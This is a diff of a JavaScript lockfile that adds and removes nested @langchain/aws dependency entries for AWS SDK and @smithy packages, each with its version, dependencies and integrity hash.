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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8651,6 +8353,8 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
 
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@@ -8667,6 +8371,8 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
 
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@@ -8677,10 +8383,16 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
 
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@@ -8691,10 +8403,16 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
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@@ -9175,6 +8561,14 @@
 
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@@ -9185,37 +8579,51 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
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@@ -9223,6 +8631,14 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
 
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@@ -9239,12 +8655,16 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
 
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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9259,14 +8679,20 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
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-
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9283,12 +8709,16 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
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@@ -9303,14 +8733,20 @@
 
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-
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
 
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@@ -9361,6 +8797,8 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
 
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@@ -9377,18 +8815,26 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
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-
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
 
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@@ -9405,12 +8851,16 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
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@@ -9575,12 +8911,12 @@
 
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@@ -9593,14 +8929,14 @@
 
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@@ -9675,6 +9031,8 @@
 
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@@ -9685,12 +9043,16 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
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+
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@@ -9705,14 +9067,14 @@
 
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-
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9723,16 +9085,26 @@
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
